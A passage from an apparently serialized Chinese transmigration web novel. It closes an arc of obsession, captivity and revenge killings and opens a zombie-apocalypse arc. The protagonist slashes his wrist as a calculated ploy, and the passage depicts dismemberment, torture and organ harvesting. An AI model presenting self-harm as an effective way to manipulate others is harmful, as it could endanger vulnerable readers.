视线逐渐回到秦锐清身上,他转身回抱着他,轻声道:“我想出去玩儿。” “想去哪里, 我陪你。”秦锐清摸了摸他的脸颊。 “我想一个人去。”一向乖巧的江林却拒绝了秦锐清的提议。 秦锐清动作一顿,挑起他的下巴:“你想起什么了吗?” 江林只是摇头,“没有, 只是觉得有些透不过气来。” 秦锐清目光审视,依旧警惕,似乎想要从他脸上看出任何说谎的神情,但是没有,只有如同清澈湖泊一般的眼瞳,纯良又漂亮,仿佛涉世未深的小鹿。 “可以让我陪着你吗?你一个人我会担心的。”秦锐清露出一点温柔的神情,担忧的眼神让人舍不得拒绝。 江林只能叹了一口气,抱着他的脖子,小声道:“那好吧。” 他软乎乎的手指摩梭着秦锐清的眉心,视线似乎在缓慢的临摹秦锐清的脸,而后有些关心地说道:“你好像瘦了,秦哥,工作很累吗?” “不累的。”秦锐清紧紧抱着他的腰,埋进江林肩颈处,嗅着他身上的味道,这一刻秦锐清感觉自己被幸福包围了。生意场上诡谲风云,尔虞我诈,处处是算计,但是在这个方寸之地,有人让他觉得舒心,就像属于自己的东西,可以安心地拥抱,抚摸,亲吻 江林现在只属于他 “李炎诞!”桌上的东西全部被扫落,烟灰缸发出刺耳的声音,玻璃碎了一地,签好的合同全部散落四处,李延成中气十足的声音响彻整个副总办公室。 李炎诞椅子上,半点未动,无言承受着李延成的怒火。 “你到底在搞什么?”李延成气得面红耳赤,气不打一处来:“近两年我们最大的项目就是和秦家合作的海丰项目,关乎公司的转型成功与否,你现在说毁约就毁约?你是不是当你爹我是死的?” 李炎诞站起身,扯起一点笑容,上前去扶气得浑身发抖的父亲,但是手还没碰到,李延成狠狠给了他一巴掌。 “我不管你们什么恩怨,这个项目如果搞砸你给我滚出这个家!”李延成瞪着他,他以为李炎诞这几年已经成熟了,没想到还这么意气用事,难当大任。 李炎诞笑容有些凝固,也不扶了,硬朗的面容冷了一瞬,说话也更加硬气的:“爸,这个项目是我一手促成跟进的,我现在不想要了,您也插不了手” 李延成被他气得够呛,“你别以为我不知道你在想什么,两年了你还是忘不了那个男人!到底有什么好的!” “爸。”李炎诞深吸一口气,没有顺着他的话题继续说,拍了拍他的后背:“您老了,公司的事情就交给我吧,我不会让您失望的。” 李延成又伸手去推他,他对旁边的秘书使了眼色,秘书过来扶着李延成,“爸,您最近就和妈出国玩玩吧。” 李延成被人带着,拳头都硬了。 李炎诞心意已决,如果秦锐清执意要抓着江林不放,这个项目绝对启动不了,资金链都会完全崩盘,之前所有的合作都是白谈,而李炎诞也会面临天价罚款。 但他不在乎 江林发现最近秦锐清回家的时间更晚了,平时只要一下班,秦锐清就会马不停蹄的赶回来抱着他亲,亲完之后才意犹未尽般吃饭,总是顶着一张冷淡的脸,做痴汉的事儿。 秦锐清现在也不会怀疑他了,他扮演着一个合格的知心伴侣。 江林面无表情的看了一眼手机里的消息,随即又删除。 他泡在浴缸中,手指滑动着温水,温水漫过他的锁骨,水波荡漾,手中拿着一把小刀,心中喊了系统,眉眼冷静:“屏蔽我的痛觉。” 系统:“宿主暂时不能开通这项服务。” “果然,这么多年的感情还是错付了。”江林失望地勾了勾唇,满眼失落,刀割破了他的手腕,血液涌出,但他却没有察觉到任何痛感。 系统总是阳奉阴违地给了他很多他不能有的特权。 如果不是有这个特权,他大概也不会选择这种极端但又极快见效的刺激感情的手段。 毕竟他真的很怕疼。 鲜血让整个浴缸的水都染成了血色,滴滴答答地往浴缸外溢出,血丝随着水滴往远处蔓延。 秦锐清回到家,锐利的目光有一瞬间的缓和,但第一眼没看见江林这让他有点不适应,通常江林都会在楼下等他一起上楼休息的,“他人呢?” “孟少爷说是上楼洗澡去了。”保姆毕恭毕敬地回答。 秦锐清便冷着脸上楼,只有浴室亮着灯。他推开门,眼前一幕顿时让他身心巨凉,从头寒到脚,刺眼的红占据他整个眼球。他一个踉跄,跪倒在地上,将水中的江林捞出来,“孟南星!你醒醒” “唔?”江林并没有昏迷,湿漉漉的头发黏在他后颈和肩膀,脸上都是滚落的水珠,下意识地露出一个甜蜜的笑容,像是迎接丈夫回家的妻子:“你回来啦。” “嗯?我的手怎么受伤了,有点疼秦哥,手好痛啊”江林像是才发现手腕的割伤,看见那汩汩流出的血,后知后觉地感觉到疼痛,眼泪瞬间落下,砸在秦锐清手上。 秦锐清根本不敢耽误,弯腰将江林抱起来,但是下一瞬,朝着他眼睛刺来的尖刀,多年养成的习惯,让他能够动作敏捷地躲开,但他抱着江林,没有松开,只能抬手接住了刀刃。 他死死地握着刀锋,掌心被割得鲜血淋漓,震惊地低头看着江林,他虚弱的脸上柔软消失不见,取而代之的是绝望的疯狂,手腕还在淌血。 秦锐清狠狠夺过刀,扔在地上,深呼吸一阵,用浴巾简单裹住江林,冲下楼去,按住他的伤口。 江林在他怀里,语气很轻,带着满满恶意,双眼通红,恨得滴血:“秦锐清你真恶心,谁是你男朋友,你在我身上留下的每一丝痕迹,都让我作呕,怎么会有你这么恶心的?你去死啊” 他说完这话便晕了过去。 秦锐清抱着他,感受着他的体温在他怀中逐渐流失,越来越冷,就像从小到大他都抓不住的温暖,这一刻,他无暇再怪江林的伪装和伤害,心中止不住地想要江林平安无事。 江林进了急救室,秦锐清浑身是血站在明亮的走廊,紧捏拳头的左手在往下缓慢地滴着血,他恍若未觉到疼痛,身后站着不少医院高层,噤若寒蝉,完全不敢高声说话。 这是秦家的私人医院,所以那些得到消息的人也没办法轻易进来。 秦锐清心脏被攥紧,无法得到解脱,站得双脚麻木都没有动弹,随着时间的推移,他开始思考难道他做错了吗? 但如果不这么做,江林根本不可能属于他。 江林到底是什么时候恢复记忆的?他对他不好吗?为什么要恨他? 直到天亮,秦锐清才得到江林安全地通知。 医院的环境安静,窗外是绿油油的树叶,随风摇曳,有一股怡然自得之感,但医院的患者并没有因为这一抹绿变得心情愉快。 江林醒来的时候,秦锐清就坐在旁边看着他,一夜没有合眼。 江林眼底闪过失望,似乎很失望自己居然没有死掉。 他重新闭上眼睛,没有睡着,只是单纯地不想看见秦锐清。 他的冷漠让秦锐清清醒了,从天堂回到地狱就在一瞬间,之前的温存是泡影,江林的乖顺是错觉,他感受到的温暖只是他的感觉。 就算这样,秦锐清也从没有想过要放江林走。 在他心中没有爱是放手这一说。 江林绝食不吃饭,秦锐清就让医生给他注射流食和营养剂,只要没事就时刻守在他身边,任由江林打骂,不敢再给他注射任何其他试剂,医生说他的身体现在很虚弱。 “滚出去!”江林花瓶砸在他身上,又碎在地上,双眼含怒,“看见你就恶心。” 他的情绪很激动也很失控,像个控制不住发火的疯子,面目狰狞,不再有曾经的俊逸漂亮。 秦锐清静默一瞬,默默从病房退了出去,如果他不出去,江林就会自己拖着病体下床逃走。 江林沉下脸,脸色惨白但面无表情。 某个高大的医生的身影从秦锐清身边擦肩而过,两人没有任何对视,医生进入江林的病房。 秦锐清拦住追上前的保镖。 “秦总,那个人” 秦锐清看了他一眼,保镖便噤声了。 戴着口罩穿着白大褂的崔嘉树,望着病床上虚弱的少年,呼吸窒息了一瞬,越发单薄的身体,毫无血色的脸,手腕上缠着绷带,眼珠里透着死寂和绝望。 “宝宝?” 江林缓慢地转头看过来,在看见崔嘉树的瞬间,眼泪居然夺眶而出,被囚禁了这么久,突然看见熟悉的人,尽管曾经无比讨厌,也忍不住感觉到委屈和悲伤。 崔嘉树抱住江林,心中怒不可遏,瞬间被揪起来,紧紧抱着他,低声道:“对不起,我来晚了。” 江林没说话,只是趴在崔嘉树肩膀无声流泪。 “宝宝,放心,你很快就会没事的。”崔嘉树摸了摸他的脑袋,保证道。 江林没有说一句话,手却紧紧抓着他的衣服,宛如抓着救命稻草。 崔嘉树心如刀绞,心疼得要命,第一次觉得自己的手段还是太温吞了 也就是这场意外,让李炎诞和崔嘉树彻底和他撕破了脸皮,在金海对秦家进行围剿,不惜一切代价,就算伤敌八百,自损一千也毫不在乎。 江林也迎来了自己的心理医生,因为他抑郁了,像是枯萎的鲜花,没了水分和土壤。 秦锐清给江林请了心理医生,认为他的种种行为都是性格偏激造成的。 江林不以为然,一言不发,无论医生怎么说。 秦锐清冷着脸站在旁边,视线不赞同,仿佛看着一个无理取闹的孩子。 医生摇头:“患者不说话,不配合,无法得到准确的治疗” 医生离开,病房里只剩下他们两个人。江林眼不见为净,闭上了双眼,察觉到秦锐清捉着他的手腕。江林应激般抬手甩了他一巴掌,双眼赤红,拒绝挣扎起来,手上的针头滑落,血飙射而出。 秦锐清脸颊肿了起来,但没有第一次被打的愤怒,咬了咬牙,抓着他的手:“你冷静一点。” 江林手腕的伤口又重新撕裂了,血沁出来,秦锐清加大力度攥住他的手腕,不让他继续乱动:“你就这么想死吗?” “不然继续被你强/奸吗?继续装成失忆的傻子?在公司逃不开,在家里也是无尽的监控!”江林声音有些尖锐,眼泪控制不住地往外淌,他张嘴咬在他手腕上,用尽了全身的力气,几乎要咬掉他的一块肉。 “不想报仇吗?”秦锐清疼得肌肉紧绷,抽气问道。 江林直到咬不动了,才松开酸胀的牙关,他唇角带着秦锐清的血,苍白的脸,鲜红的血,少年宛如吸食人血的吸血鬼,“怎么报仇,你让我杀吗?” “滚吧。”他轻嗤一声,吐出口中的血沫:“虚伪得让人恶心。” 秦锐清每天都会受伤,但每天坚持不懈地用热脸贴冷屁股,江林对他的态度却没有因为他的示弱有半点改变。 不管秦锐清给他准备了什么,就算是再好的东西,都没有用。 秦锐清看着拧着眉陷入沉睡的少年,无边无际的无助和失落感,得到江林的时候有多满足,现在就有多失落,怅然若失。他以为自己已经攥住了江林,抓住了温暖,但其实只是他的一厢情愿。 江林眼里从来没有他这个人,他的强行挤入,只是让他更加厌恶 江林双眼放空,算了一下,秦锐清已经两天没来了,这是从前从没有的情况,他躺在病床上,问了系统攻略值。 李炎诞攻略值:100%,崔嘉树:100%,秦锐清:98%。 秦锐清的攻略值是涨得最慢的,他的情感最为复杂,从极端的美好,坠落到看不到希望和未来的地狱,这样的落差让他暂时无法接受。 “我差不多该走了”江林喃喃出声,拿出桌上的笔,洋洋洒洒写下了一封信,放在抽屉里,露出一个角,顺便摘掉了脖子上秦锐清给他买的翡翠放在桌上,因为他自己的旧观音在和他睡的时候被弄坏了。 天蒙蒙亮,江林病房的门被人推开,他刚刚睁开眼,便感觉自己的口鼻被捂住,闻到了一股冲鼻的味道,下一瞬没了意识。 等再次醒来的时候,江林的意识已经脱离了身体,他的灵魂飘在上空,看着自己的身体被绑住了手脚,套着麻袋从中央大桥上扔了下去,随着巨大的水花响起。 他看着自己的灵魂逐渐丰盈,旁边飘着一个小小的光团。 “我的任务算完成了吗?”江林开口。 “任务结算具有一定的滞后性,但目前已经完成百分之九十九”系统的声音从光团传来。 江林心中很平静,没有任何的波澜,似乎断定能够完成任务。 系统心缓缓落下,还好宿主很厉害,否则以江林在这个世界的社会地位和主神的身份落差,如果没有判断出真实任务,任由主神切片掠夺,不知道会被欺负成什么样子。 从一开始主神的意图就是让宿主被压制,被侵略,被玩弄,没想到角色互换了。 “宿主可以选择立刻进入下一个世界,也可以选择停留一段时间,看到其他人的结局” 江林毫无留恋:“进入下一个世界。” 就在江林被带走的几分钟后,崔嘉树姗姗来迟,只能摸到尚有余温的床单,面色阴沉,开始去追人,他亲眼看见江林被扔下桥去,几乎没有任何犹豫义无反顾地跳了下去。 冰冷的海水冲刷着崔嘉树的身体,他想要去救下沉的人,却徒劳无功被海水淹没。 直到被人救起,崔嘉树看着平静的海面,下意识地就要往里面爬。 他一定可以就回江林的! 连忙有人按住他的手脚,崔嘉树在沙滩上挣扎,沙砾进了他的眼睛,手脚被人狠狠压住,直到筋疲力尽。 “崔总你冷静一点!!我已经让专业搜救队过来了,您冷静!!”他们心惊于崔嘉树的失态,一向温文尔雅的人如今却像是丢了魂,直接跳海不说,被救回来还在找死。 崔嘉树双眼通红却没有哭,一声不吭,牙关紧咬,趴在地上,看着平静的海面只觉得深深的恐怖。 他不敢想宝宝会有多难受,海水入口鼻,他连挣扎都没办法挣扎,只能任由自己窒息下沉。 为什么为什么自己不能再快一点? 崔嘉树是被人抬走的,他晕厥在沙滩上。 最后,江林的尸体被捞上来了,葬礼是崔嘉树办的,办得很大,几乎所有认识江林的人都知道这个消息,且被半强制参加,不论你在哪里。 “母亲。”崔嘉树看着眼前风韵犹存的女人,她依旧一身旗袍,只是这次换成了黑色,胸前戴着白花,他目光依旧温和:“谢谢你能理解我。” 龙雅定看着眼前憔悴难以掩饰的儿子,眉头蹙起,逝者为大,她没有说任何风凉话,只是道:“向前看。” “我知道的。”崔嘉树给她倒了一杯茶水,双手奉上,“母亲这么多年,辛苦您照顾了。” 龙雅定接了茶,虽然痛恨崔嘉树的爹,但也知道自己的性格刚烈,儿子在自己手上受过不少苦。自己看着他长大的,虽然没有时刻守着,没有给过多少温情,却也曾经有过期望。 眼见着他为了一个男人伤心欲绝,心中不满,没有言说,咽下茶水离开。 秦锐清一直没有出现,李炎诞出现的时候,是江林死的第三天晚上。 他很狼狈,穿着一件不合身的蓝色衣服,脚上都是泥,脸上胡子拉碴,眼底满眼血丝,灵堂之上,摆放着江林的黑白照片。 他唇角勾着浅笑,面容温和,光看他唇角的笑,就能感觉到当时他如春风般缤纷的笑容,现在却只剩下一片黑白。 李炎诞一瘸一拐的,他是偷跑出来的,看着棺木的瞬间,膝盖一软跪在地上,眼泪砸在地上,大哭出声,心脏的疼让浑身都麻痹,爬都爬不起来。 “我一直在等你,还以为你来不了了。”崔嘉树的声音缓缓传来,脚步声在耳畔响起,黑色的皮鞋出现在李炎诞面前。 他缓缓抬起眼,那张俊朗的面孔变得乱七八糟,仿佛苍老了十岁,崔嘉树看着他笑:“要看看他吗?” 李炎诞从小就害怕这些,害怕死人,害怕鬼,害怕一切毫无生机的东西。 当他看着面目全非的江林时彻底绷不住了,不是害怕,更多的是崩溃,情绪在这一刻决堤,他不敢想当时的他有多难受、多绝望。 崔嘉树静静看着他的失控,语气很轻地交代着:“我没有通知他的父母,我拜托了傅清池照顾他的父母,固定的时间给他们发出报平安的短信,AI合成的视频等孟南雪的年纪更大些,再告诉他们这个消息,你觉得怎么样?” 李炎诞泣不成声,根本回答不了他的话,抓着江林冰冷水肿的手,手指都在发颤。 “在这之前害死他的凶手,是不是应该得到惩罚呢,小炎?”崔嘉树靠近李炎诞,手中的针扎入他的肩膀。 李炎诞一愣,条件反射地抓住崔嘉树的手,反手一拧,注射器里面的液体没有全部注入他的身体。 “你干什么?”李炎诞拧着眉,似有不解。 崔嘉树脸上有瞬间的扭曲,挥了挥手,身后的保镖纷纷围了上来,他眯了眯眼:“他是被你爸派人扔进海中的!为了给你这个儿子永诀后患。” 李炎诞那原本就摇摇欲坠的理智彻底崩塌,心中的不安成为现实,一瞬间的松懈,手臂被反剪。 崔嘉树的针直接对着他的脖子扎入,他唇角含着笑,眼神却极为阴冷:“所以你是不是该给他偿命呢?” 李炎诞瞪大双眼,脖子上青筋暴起,下一瞬身体就软了下去,他听着崔嘉树说:“他最在乎的就是你这个儿子那你就该去死。” “在黄泉路上碰见宝宝,记得不要脏了他的轮回路。” 龙雅定从门外出现,挡住了崔嘉树的路,抿着唇,沉声道:“崔嘉树,不要做错事。” 崔嘉树从小喜欢笑,因为小时候龙雅定会为了他温顺的笑脸对他多两分好脸色。他笑着直视着曾经最害怕的存在:“母亲啊,我没办法不做错事,您拦不住我。” 龙雅定还要说什么,直接被保镖一手打晕了。 李炎诞是被清醒的分尸的,李延成找到他儿子的时候,他的尸块被吊在江林死的大桥上喂鱼 李延成悲痛欲绝,进了急诊室,差点没抢救回来,因为刺激过大成了植物人。 崔嘉树也因此进了监狱,等待着法律的审判。 秦家在对方的联合围剿下岌岌可危,濒临破产,公司被查,压下去的陈年旧事被翻了出来,违规建筑坍塌造成了近百人死亡。 傅清池探望崔嘉树,两人隔着厚厚的玻璃,相望无言,崔嘉树笑了笑,先拿起电话,傅清池默默接起。 “没想到居然是你来看我。”崔嘉树眼神有些感叹,旋即又变得锐利:“按死秦家的最好时期,你不要手软啊。” “他囚/禁宝宝死不足惜,对于他这种人来说,死是最轻的,看着自己的商业大国一步步走向灭亡,被曾经的手下败将踩在脚底才是最好的惩罚。” 傅清池越发沉默了,看向崔嘉树的眼神极为复杂,他从没有想过,他真的会杀死李炎诞,只是为了帮江林报仇,让李延成尝一尝丧子之痛。 对于蓄意残害李炎诞的行为也是供认不讳,他就没给自己退路。 “好了,我要说的说完了。”崔嘉树不等他回答,转身离开,他从小和秦锐清一起长大,最是知道他害怕什么。 伤害过江林的人一个也逃不掉,包括他自己 秦锐清接连收到噩耗,江林的死亡,李炎诞的惨死,崔嘉树的入狱,都在无言预示着什么,风雨欲来的气氛环绕着这个庄园。 他面前摆放着江林的信。 上面没有任何过激的谩骂语言,江林以为自己即将被救走,所以希望秦锐清能放过他,言辞中充满了对未来自由生活的向往,似乎真的很害怕自己再纠缠他,对他进行言语上的追捧和哀求,求他不要再为难他,他们还是朋友 他至今无法接受。 如果不是他,也许江林不会死,他如果不囚住他,他不会死,如果他派更多人守着他,也许他也不会死 秦锐清从小到大做得任何事情都不曾后悔过,除了这一件 后悔终生。 他不敢去看江林最后一面,害怕死了还让他感到不喜。 傅清池没有让崔嘉树失望,他用秦锐清对待江林的手段,同样还给了秦锐清,将他打包送到了国外,把他囚禁在两米×两米宽的狗笼中。 那是他继弟曾经待的地方,一个诈骗集团,每天挨毒打,所有人都知道他曾经是高高在上的总裁,谁都能踩他两脚,往他身上吐口唾沫。 剥夺人权,暗无天日,无法救赎,求生不得,求死也不能。 他知道他们在惩罚他江林的伤害,他可以寻死,却没有,似乎也想得到更多的赎罪。 秦锐清死的那天,已经神志不清只会呢喃孟南星的名字,含糊说着对不起。他身体内有用的器官尽数被采摘,他手上捏着一块碎掉的观音玉牌也摔在肮脏实验里。 傅清池成为金海金字塔尖儿的人,身边空无一人,没人知道他喜欢男人还是女人 无数星辰闪烁的空间内,三团冒着黑气的人影在撕扯,互咬,谩骂—— “我服了,你们是真没骨气啊。” “你在狗叫什么?看见江林舔的最狠的就是你,还要找我报仇,滚吧你,就你死得最不冤。” “” “你他妈的好意思说?是谁一见面就宝宝地叫,人家根本不想搭理你。” “那也比你这个窝囊废强。” “有什么好比的?你们两个半斤八两,都是他的好狗。” “老子就看你不顺眼,如果不是你,我们还能多和江林待会儿,现在好了,摸不到也看不见了” “你猜现在最讨厌的狗是谁?你最清高,你别骗人变相囚/禁人啊,最狗的就是你,姓秦的。” “” 三人吵得激烈,让身后更大的黑团冒着鼓鼓黑气,显然气得不轻,挥手将他们尽数禁言,一口将他们全部吞噬掉。 这下身体内的黑气更加沸腾了,因为三个切片十分不满,还想争先恐后的去给江林当好狗。 第44章 陨石落地, 病毒感染,生物入侵,百分之八十的海洋被污染破坏, 突生无数异变,天灾横行 一切的灾难都是在一瞬间爆发, 人类变成丧尸,动物生出人智,植物蚕食人肉, 寄生生物猖獗 两极反转,原本统治蓝星的人类, 沦为了多方争抢的猎物。 人类末世,正式降临 “江林,如果不是你一意孤行要救这两个人,隗绍哥也不会受伤,现在还不知道会不会发生异变”男人指责的声音显得十分尖锐刺耳,饱含怒火。 在三室两厅的居民楼里, 争吵正在爆发, 或者更准确点来说单方面的指责。 男人口中的隗绍正是江林的男朋友, 在这个世界原本的主角也叫江林。 是一名治愈系异能者。 他正在给昏迷不醒的隗绍治疗伤口,对于同伴徐和硕指责没有半分争辩只是咬唇默默承受, 漂亮湛蓝的眼底染上了点点愧疚之色。 躺在沙发上脸色惨白的隗绍身材高挑, 虽然脸色花白,却也能窥见其俊朗之色,暴露在空气中的手臂上不少抓痕, 连脖子上都有。 被丧尸抓伤或者咬伤都有概率感染丧尸病毒,异能者感染的概率和普通人相比更加低一点,但并不是没可能感染。 而蹲在他旁边的少年, 更加吸睛亮眼些,一头雪白蓬松的短发,肌肤也是和头发相得益彰的雪色,圆溜溜的狗狗眼,瞳孔是如同海水般的湛蓝色,嘴唇红而艳,轻轻被贝齿咬住一点,显得委屈又可怜。 他正在为隗绍疗伤,手指有暖暖的白光闪烁着。 “现在都是末世了,能不能收起你那没必要的圣父心?你就这本事能够救几个人啊。”徐和硕气得够呛。 他的女朋友李青青也拧着眉,满脸不满,如果不是因为江林的治愈系异能,也许他们早就分道扬镳了。 末世先斩圣父,就江林这种性格,如果不是他们可能根本活不过末世初期。 但现在隗绍被他拖累身负重伤,也许会异化成丧尸,那他们可就难办了,他可是四人之中最强。 “啧,不如现在一枪崩了他”徐和硕上一秒还在为隗绍抱不平,下一秒就在想怎么了结他的性命了。 毕竟异能者变成丧尸只会更强。 听到这话,江林不得不开口,嗓音温润动听:“他现在还没有任何异化的迹象,很快就可以醒过来的。” 徐和硕睨着他,面露嘲讽:“希望吧。” 而被他们救下来的两姐弟正在角落里抱团取暖,眼神四处张望,双眼虽然都是害怕,却还算镇定。 江林继续低头给隗绍治伤,脑海中却清晰地将剧情缓缓过了一遍,面皮有些紧绷,这次给他的人设是末世圣父,这种一听就很完蛋的人设。 在和平年代圣父还能说是美好的品质,现在只会形容他愚蠢。 按照道理来说,江林身为一个治愈系异能者,算是非常好的辅助奶妈,不至于混得多差,但事实是他真的很惨。 他的白发和蓝眼是末世之后随着异能一起出现的,江林从小到大都很漂亮,在联邦中学上学的时候就吸引无数追求者,但联邦有最严格的未成年保护法,所以他一直被保护在象牙塔中。 中学刚毕业,便受到隗绍的猛烈追求,原主没有抗住他的糖衣炮弹,在进入大学之前答应了他的追求,隗绍趁热打火带着他进行所谓的毕业旅行,谁知道就是在这段旅途中末世全面爆发,各种病毒、异化遍地开花。 短短一个星期原本一起旅行的十来个人,变丧尸的变丧尸,被咬死的被咬死,就只剩下江林、隗绍、徐和硕和他的女朋友李青青还活着,四人都是异能者,侥幸逃过一劫。 几人前三天因为身体不佳,全身高热,所以没有行动,蜗居在某个度假酒店。酒店还算偏僻没有被丧尸围攻,后四天开始行动,四周仿佛变成了丧尸乐园,没有发现任何活人。 第七天在路过一家超市补给物资的时候,看见了狼狈的两姐弟。 见他们可怜,原主力排众议,让他们跟着,结果弟弟逃跑太慢,差点被丧尸追上,原主护住了弟弟。隗绍末世初期许是良心未泯,或者因为原主的治愈系异能,出手相助,结果自己受伤。 也是这一次,隗绍对他的态度初现冷淡,觉得像原主这样的性格,迟早会拖累死自己。 到了末世中期,原主异能更显得鸡肋,因为升级极为缓慢,只能治愈一些外伤,而后期高阶异能者的身体都经受过觉醒和改造,变得极为强悍,自动愈合都比原主治疗得更快。 原主就彻底失去任何谈判的价值,后来因为长得太好看,被无数人掠夺争抢,但他们毫无尊重,原主变成了某种战利品般的存在,人人都想得到他,但没有人爱他。 因为他的性格太蠢,被人卖了还在心疼买家花钱花得太多,无止尽的善心,只会让人疲惫。 江林莹白的手腕微微一晃,指尖白光消失不见,脸色有些白,异能消耗殆尽。隗绍身上伤得太重,手臂上的伤止住了鲜血,却并未完全愈合。 “啧。”徐和硕见状忍不住轻嗤一声,脸上浮现讥讽之色。 江林缓了缓,才虚弱地站起来,从背包里拿出水喝了一口,雪白又根根分明的睫毛垂了垂,看着隗绍的脸发呆,似乎很内疚,手指轻轻握住隗绍还算细腻的手。 隗绍末世前就是个十指不沾阳春水的少爷,短短几天双手都布满了细微的伤疤,前世隗绍死得早,在原主心中一直觉得难过,看着隗绍死,却无能为力。 所有人都在等待隗绍的苏醒,精神高度集中,在确保隗绍如果异化能够直接一枪爆头了结了他。 在蓝星联邦枪并不属于违禁物品,正式成年后就能配制,学校统一发,某些家族培养的小孩可能从小玩枪。 江林察觉到手中的手指微微颤抖了一瞬,顿时抬眼看去,便见男人的睫毛颤了颤,猛地睁开了双眼。 他的双瞳却极为怪异,瞪圆的双眼眼白的部分是黄绿色的,瞳仁极为细长和人类的眼睛大相径庭,蛇瞳极为冷血。 他的变化和他的异能相关,他的异能是莽化,能够全身变成蛇。 “隗绍”江林轻轻出声唤醒他的意识。 隗绍手用力扣着他的,似乎久久无法回神,视线对上一双湛蓝漂亮紧张眸子,定定看了几秒,熟悉的脸庞,心情激荡起伏,直到手心被一只手安抚地捏了捏。 “没事的,我们现在是安全的。”江林观察着他的神色,心中有些讶异。 在隗绍昏迷之前,他们是已经脱离危险的,按照道理来说不该露出这么惊恐的神情,当然也不排除他做噩梦了。 徐和硕两人也凑上前,喊了一声:“绍哥?你感觉怎么样?” 隗绍强装镇定,无事地点了点头,“没事。” 但心中已经波涛汹涌,他重生了。 他的视线在偏移瞬间之后,又回到了江林的脸上,竖瞳看人莫名的冰冷,眼底深邃冷漠。明明该恨这个男人,却忍不住攥住他的手,胸口的位置在隐隐发烫,叫嚣着拥抱眼前雪一样的男孩。 前世,他就是被江林害死的。 隗绍克制住心中的本能,松开他的手,轻咳一声,从喉间呕出一口黑血,身体剧烈咳嗽起来,说话都说不出来。江林见状伸手抱住他,轻拍他的肩膀,俊秀的眉头蹙起,紧张地问:“你怎么样?” 江林同时伸手按在他胸口,手中异能闪烁。隗绍原本钝痛难忍的胸口顿时缓解了不少,只是胸口越发炙热发烫,柔软的发拂过他的颈侧。 他似乎闻到了什么很香的味道,是一种很香的肉香,胃部在发出绞痛似的痉挛,叫嚣着他咬住近在咫尺的洁白脖颈。 隗绍的瞳仁几乎缩成了一根竖线,他却没有顺从身体的驱使,咬牙将人从怀里推开。江林毫无防备的被推到旁边,有些震惊又失望地看着他。 隗绍抹了抹嘴角的血:“我没事,小林。” 李青青看见两人的互动眉梢微微一挑,眼神来回打量了,生出一点狐疑之色:“绍哥?” 隗绍看向她,在确定脸上没有任何的丧尸异化,没有爆出遍布满脸的血管青筋,没有全黑看不见瞳仁的眼瞳,没有长长的指甲才放下心来。 目前而言,丧尸很好分辨,他们外观上就和正常人不同。 “我去一趟厕所。”隗绍露出一点尴尬之色,钻进了厕所。 厕所的门被关上,李青青和徐和硕对视一眼,眼底的疑虑和担忧并没有消失,徐和硕在转眼看向江林,他低着头似乎还沉浸在被男朋友推开责怪的悲伤中,眼底越发嫌弃了。 梳妆镜前,隗绍掀开上衣,苍白的身体,因为缺乏锻炼,肌肉不算发达,胸口心脏的位置却凸显了蜘蛛网般的红线,若是仔细看,还能发现那些红线正在蠕动,仿佛活物一般。 镜子中的男人脸色大变,颤抖着伸手摸了摸那些“红线”,入手一片滚烫,肌肉和血液在蠕动颤抖,他生出一点不好的念头——他这是被寄生了! 所以这才是他重生的原因? 江林视线扫过角落的姐弟,姐姐看起来只有十多岁。弟弟更小,刚满十岁的样子,弱不禁风的可怜模样,两人互相抱在一起很小只,骨瘦如柴,身形消瘦。 但江林却知道这对姐弟并不是普通人,两姐弟都身怀空间异能,一个能保存鲜物不腐坏,另一个能进行种植,简直是两个大宝贝。只是姐弟两人都十分谨慎和聪明,惯会伪装和保护自己,是以隗绍到死都不知道两人的异能。 两姐弟也被其他大佬收入队伍。 “你们饿不饿,渴不渴?”江林从背包里拿出自己的食物,满眼的怜悯,蹲下身拿出面包和干净的矿泉水,四人的物资都是个人的,江林的东西给了他们,自己就没有得吃。 姐弟两对视一眼,双眼像是无措的小鹿,不敢说话,也不敢主动伸手。 “没关系,吃吧。”江林将食物递给他们,这是他今天的晚餐。 原主这个人设就有这么完蛋,舍己为人,宁愿自己饿死,也要余光照亮他人。 两人穿得衣服也破破烂烂、脏兮兮的,姐姐石欢的眼睛更大些,瞳仁黝黑。她一手抱着瑟瑟发抖的弟弟,一手小心翼翼的去抓食物,抬眼不动声色的看着江林。 江林在发现她主动拿食物的时候,双眼的睫毛一弯,白色的睫毛像是落了雪花在上面,明明应该是冰冷的,但却感受到了无声的暖意,湛蓝的眼眸也像是海底投射进了温暖的阳光。 石欢动作一顿,看着他的笑容呆了呆,才咬唇继续去拿起面包,小声地说:“谢谢哥哥。” 江林蹲在他们身前,抱着自己的膝盖,歪头笑着回应:“不用谢,快吃吧,你们太瘦了。” “傻逼。”徐和硕看见几人的互动,没忍住骂出声。 江林脸颊一红,却温柔而坚定地看着两姐弟,眼神鼓励他们吃。 石欢欲言又止,眼神闪过一丝复杂,明知道这人救了自己和弟弟,不该心中腹诽他,但是还是忍不住叹了一句真天真啊。 隗绍从厕所出来,看见这一幕,眼神微闪,视线在两姐弟身上来回扫荡了一遍,喊了一声:“小林,过来。” 江林看着两人吃上面包,喝上水才慢吞吞地走到隗绍身边,目光有些愧疚,低声道歉:“抱歉,今天让你受伤了。” 隗绍笑了笑,伸手握住他的手,温和道:“你是我男朋友,不必说这些见外的话,东西都给了他们,你跟着我一起吃吧。” 徐和硕表情更臭了,不赞同隗绍这种助纣为虐的行为。 江林双眼亮了亮,回握男人的手,感激非常,嘴角泛起笑意:“谢谢你。” 但心中却止不住地惊讶,因为剧情中隗绍对他的态度可没有这么和善,对着原主的烂好心一顿冷嘲热讽,两人关系出现裂缝,原主对他感到失望,认为他太无情。 隗绍给江林分了一半吐司面包,面包已经过期了,味道也不太好。但末世了,也顾不了这么多,先把这些容易坏掉的食物吃掉,隗绍没尝出什么味道,只是机械地咀嚼,仿佛失去了舌头。 江林□□涩的面包噎到,喝了一口水,动作自然地递给隗绍。 他没有盖瓶盖,顺着含住江林刚刚含过的瓶口,那失去的味觉顿时复苏了,瓶口残留的口涎变成了香甜的味道,一瞬间激发男人的味蕾,心口又在发烫,他下意识地伸出舌头舔了舔瓶口,喉结滚动大口吞咽着。 江林看着他的样子,微微睁大了眸子,被他动作羞红了脸,两人才刚刚交往,并没有来得及深入交流,连接吻都还没有过。这样赤/裸裸舔瓶口的行为和直接舔他的舌头没有区别,对于刚出学校的小白花江林来说太超前了。 隗绍也发现了自己的失态,捏了捏水瓶,脸上表情正常,盖上瓶盖,像是什么都没发生的样子,两人的微妙气氛只有彼此知道。 